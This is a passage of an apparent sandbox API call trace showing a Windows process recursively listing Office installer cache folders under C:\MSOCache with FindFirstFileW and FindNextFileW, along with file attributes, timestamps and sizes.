ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0076.667] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.667] GetProcessHeap () returned 0x470000 [0076.667] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.667] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0076.667] GetProcessHeap () returned 0x470000 [0076.667] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.702] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.702] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0076.702] GetProcessHeap () returned 0x470000 [0076.702] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.703] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.704] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0076.704] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0076.704] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0076.704] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0076.704] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.704] GetProcessHeap () returned 0x470000 [0076.704] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.704] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0076.704] GetProcessHeap () returned 0x470000 [0076.704] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.881] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.881] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0076.881] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0076.881] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0076.881] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0076.881] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.882] GetProcessHeap () returned 0x470000 [0076.882] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.882] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0076.882] GetProcessHeap () returned 0x470000 [0076.882] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.882] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.882] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0076.882] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0076.883] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0076.883] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0076.883] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.883] GetProcessHeap () returned 0x470000 [0076.883] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.883] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0076.883] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0076.883] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.883] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.883] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.884] GetProcessHeap () returned 0x470000 [0076.884] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.884] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0076.884] GetProcessHeap () returned 0x470000 [0076.884] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.887] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.887] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.888] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.889] GetProcessHeap () returned 0x470000 [0076.889] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.889] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0076.889] GetProcessHeap () returned 0x470000 [0076.889] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.892] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.892] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0076.892] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0076.892] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, 